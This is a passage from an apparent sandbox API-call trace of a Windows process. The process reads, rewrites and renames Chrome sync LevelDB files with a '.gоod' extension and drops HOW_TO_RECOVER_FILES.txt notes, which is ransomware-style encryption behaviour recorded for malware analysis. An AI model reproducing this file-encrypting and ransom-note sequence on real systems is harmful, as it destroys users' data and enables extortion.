Data\\LevelDB\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\lock"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7fb9ef9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0220.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0220.648] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\lock"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\lock.gоod")) returned 1 [0220.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG", lpFilePart=0x0) returned 0x53 [0220.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0220.649] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\log"), fInfoLevelId=0x0, lpFileInformation=0x3771ae8 | out: lpFileInformation=0x3771ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe749ec47, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf143f155, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x146)) returned 1 [0220.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0220.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG", lpFilePart=0x0) returned 0x53 [0220.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0220.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0220.649] GetFileType (hFile=0x808) returned 0x1 [0220.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0220.649] GetFileType (hFile=0x808) returned 0x1 [0220.649] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x146 [0220.649] ReadFile (in: hFile=0x808, lpBuffer=0x3771ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x3771ed8*, lpNumberOfBytesRead=0x208ed3f8*=0x146, lpOverlapped=0x0) returned 1 [0220.650] CloseHandle (hObject=0x808) returned 1 [0222.690] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG", lpFilePart=0x0) returned 0x53 [0222.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0222.690] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0222.691] GetFileType (hFile=0x82c) returned 0x1 [0222.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0222.691] GetFileType (hFile=0x82c) returned 0x1 [0222.692] WriteFile (in: hFile=0x82c, lpBuffer=0x3670600*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x3670600*, lpNumberOfBytesWritten=0x208ed308*=0x150, lpOverlapped=0x0) returned 1 [0222.692] CloseHandle (hObject=0x82c) returned 1 [0222.692] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG", lpFilePart=0x0) returned 0x53 [0222.693] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG.gоod", lpFilePart=0x0) returned 0x58 [0222.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0222.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\log"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe749ec47, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x80f24593, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x150)) returned 1 [0222.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0222.693] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOG.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\log.gоod")) returned 1 [0222.694] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001", lpFilePart=0x0) returned 0x5f [0222.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0222.694] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x36718e8 | out: lpFileInformation=0x36718e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29)) returned 1 [0222.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0222.694] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001", lpFilePart=0x0) returned 0x5f [0222.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0222.694] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\manifest-000001"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0222.694] GetFileType (hFile=0x82c) returned 0x1 [0222.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0222.694] GetFileType (hFile=0x82c) returned 0x1 [0222.694] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x29 [0222.694] ReadFile (in: hFile=0x82c, lpBuffer=0x3671c20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x3671c20*, lpNumberOfBytesRead=0x208ed3f8*=0x29, lpOverlapped=0x0) returned 1 [0222.750] CloseHandle (hObject=0x82c) returned 1 [0224.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001", lpFilePart=0x0) returned 0x5f [0224.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0224.634] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\manifest-000001"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0224.635] GetFileType (hFile=0x834) returned 0x1 [0224.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0224.635] GetFileType (hFile=0x834) returned 0x1 [0224.635] WriteFile (in: hFile=0x834, lpBuffer=0x36667b8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x36667b8*, lpNumberOfBytesWritten=0x208ed308*=0x30, lpOverlapped=0x0) returned 1 [0224.636] CloseHandle (hObject=0x834) returned 1 [0224.636] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001", lpFilePart=0x0) returned 0x5f [0224.636] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001.gоod", lpFilePart=0x0) returned 0x64 [0224.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0224.636] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x821c6b17, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0224.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0224.637] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\manifest-000001"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\MANIFEST-000001.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\manifest-000001.gоod")) returned 1 [0224.637] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ed110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x68 [0224.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed630) returned 1 [0224.637] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0224.638] GetFileType (hFile=0x834) returned 0x1 [0224.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5a0) returned 1 [0224.638] GetFileType (hFile=0x834) returned 0x1 [0224.639] WriteFile (in: hFile=0x834, lpBuffer=0x3669f48*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ed6f8, lpOverlapped=0x0 | out: lpBuffer=0x3669f48*, lpNumberOfBytesWritten=0x208ed6f8*=0x5d0, lpOverlapped=0x0) returned 1 [0224.640] CloseHandle (hObject=0x834) returned 1 [0224.640] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0224.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0224.640] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0224.640] GetFileType (hFile=0x834) returned 0x1 [0224.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0224.640] GetFileType (hFile=0x834) returned 0x1 [0224.641] WriteFile (in: hFile=0x834, lpBuffer=0x366d820*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x366d820*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0224.642] CloseHandle (hObject=0x834) returned 1 [0224.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0224.642] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings", lpFilePart=0x0) returned 0x55 [0224.643] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb375cbe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb375cbe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0224.643] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb375cbe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb375cbe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.643] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb4a218c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb4a218c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1 [0224.643] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb4a218c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb4a218c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 0 [0224.643] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0224.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0224.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0224.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0224.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings", lpFilePart=0x0) returned 0x55 [0224.644] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb375cbe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb375cbe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0224.644] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb375cbe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb375cbe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.644] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb4a218c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb4a218c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1 [0224.644] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0224.644] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0224.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0224.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0224.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0224.645] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpFilePart=0x0) returned 0x76 [0224.645] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb4a218c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb4a218c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0224.933] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb4a218c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb4a218c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.934] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4a218c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb4a218c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb4a218c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0224.934] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb37f8e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb37f8e7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb3820b1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0224.934] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb37f8e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb37f8e7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb37f8e7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0224.934] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, 